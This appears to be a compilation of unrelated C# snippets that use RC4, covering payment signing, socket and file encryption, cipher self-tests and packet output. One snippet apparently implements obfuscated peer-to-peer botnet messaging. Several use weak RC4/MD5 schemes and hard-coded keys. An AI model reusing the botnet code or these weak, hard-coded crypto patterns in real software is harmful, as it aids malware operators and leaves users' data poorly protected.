private static string GenMerchantCode(string strKey, string strDate, string strBranchId, string strCono, string strBillNo, string strAmount, string strMerchantPara, string strMerchantUrl, string strPayerId, string strPayeeId, string strClientIp = "", string strGoodsType = "", string strReserved = "") { var originalContent = new StringBuilder(); var random = new Random(); var encoding = Encoding.GetEncoding("GBK"); originalContent.Append(random.Next(11111, 100000)) .Append("|") .Append(strPayerId) .Append("<$CmbSplitter$>") .Append(strPayeeId); originalContent.Append("<$ClientIP$>").Append(strClientIp).Append("</$ClientIP$>"); originalContent.Append("<$GoodsType$>").Append(strGoodsType).Append("</$GoodsType$>"); originalContent.Append("<$Reserved$>").Append(strReserved).Append("</$Reserved$>"); var byteContent = encoding.GetBytes(originalContent.ToString()); var key = MD5.Create().ComputeHash(Encoding.ASCII.GetBytes(strKey)); var rc4Content = Rc4.Encrypt(key, byteContent); var encryptContent = Convert.ToBase64String(rc4Content).Replace('+', '*'); var combineContent = $"{strKey}{encryptContent}{strDate}{strBranchId}{strCono}{strBillNo}{strAmount}{strMerchantPara}{strMerchantUrl}"; var hash = SHA1.Create().ComputeHash(encoding.GetBytes(combineContent)); var hashContent = new StringBuilder(); foreach (var b in hash) { hashContent.Append(b.ToString("x2")); } return($"|{encryptContent}|{hashContent}"); }
public override void Send(byte[] data) { var t = new byte[data.Length + 4]; Array.Copy(data, 0, t, 4, data.Length); _rc4.Encrypt(t, 1, t.Length - 1); base.Send(t); }
private void EncryptResponseIntoFile(string filePath, Response response) { var jsonResponse = JsonConvert.SerializeObject(response); var contentDecrypted = Encoding.UTF8.GetBytes(jsonResponse); var xKey = Encoding.ASCII.GetBytes(_p); var contentEncrypted = Rc4.Encrypt(xKey, contentDecrypted); var hexadecimal = BiteArrayToHex.Convert(contentEncrypted); var fileContent = Zipper.Compress(hexadecimal); File.WriteAllText(filePath, fileContent); }
public void Run(string raw) { var rc4 = new Rc4(); const string key = "HelloWorld!"; var e = Encoding.UTF8; rc4.SetKeyAndInit(key); Utils.WriteByteArray(e.GetBytes(raw), "raw"); var secret = e.GetBytes(raw); rc4.Encrypt(secret); Utils.WriteByteArray(secret, "secret"); rc4.SetKeyAndInit(key); var real = secret; rc4.Encrypt(real); Console.WriteLine("Real: " + e.GetString(real)); if (!raw.Equals(e.GetString(real))) { throw new Exception("Rc4 Test Failed"); } }
private static void 加密解密测试() { Console.WriteLine("--------加密解密测试---------"); string key, pwd; key = KeyGen.GenerateRandomKey(); key = KeyGen.GenerateAesKey(); key = KeyGen.GenerateDesKey(); key = KeyGen.GenerateTeaKey(); key = "_elong.tech@2020_"; // 自己指定Key pwd = "hello12345你好"; var p1 = Aes.Encrypt(pwd, key); var p2 = Aes.Decrypt(p1, key); Console.WriteLine($"Aes加密: {p1}, Aes解密: {p2}"); var p3 = Rc4.Encrypt(pwd, key); var p4 = Rc4.Decrypt(p3, key); Console.WriteLine($"Rc4加密: {p3}, Rc4解密: {p4}"); var p5 = Des.Encrypt(pwd, key); var p6 = Des.Decrypt(p5, key); Console.WriteLine($"Des加密: {p5}, Des解密:{p6}"); var p7 = Tea.Encrypt(pwd, key); var p8 = Tea.Decrypt(p7, key); Console.WriteLine($"Tea加密: {p7}, Tea解密: {p8}"); var p9 = Hash.Md5(pwd); Console.WriteLine($"MD5哈希: {p9}"); Console.WriteLine(""); }
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId) { if (!_peerList.IsRegisteredBot(botId)) { return; } var padding = RandomUtils.NextPadding(); var header = new BotHeader { CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId, BotId = botId, MessageId = messageId, PayloadSize = (short)payload.Length, Padding = (short)padding.Length, Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl }; var message = BufferUtils.Concat(header.Encode(), padding); var rc4 = new Rc4(botId.ToByteArray()); rc4.Encrypt(message); var now = new TimeSpan(DateTime.UtcNow.Ticks); var minutes = now.TotalMilliseconds / (1000 * 60); var xor = new Mod2(BitConverter.GetBytes(minutes)); xor.Decrypt(message); var endPoint = _peerList[botId]; Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId); _comunicationManager.Send(endPoint, message); if (correlationId == 0) { _waitingForReply.Add(new Package(endPoint, message), correlationId); } }
protected override byte[] OnProcessOutputRawData(byte[] data) { var compressionLevel = 0; var outPacket = new byte[data.Length + 3]; Buffer.BlockCopy(data, 0, outPacket, 3, data.Length); if (outPacket.Length > 1024) { compressionLevel = 2; outPacket = GZip.Compress(outPacket); } _rc4.Encrypt(outPacket); var outputBytes = new byte[outPacket.Length + 1]; Buffer.BlockCopy(outPacket, 0, outputBytes, 1, outPacket.Length); //write compression level outputBytes[0] = (byte)compressionLevel; return(outputBytes); }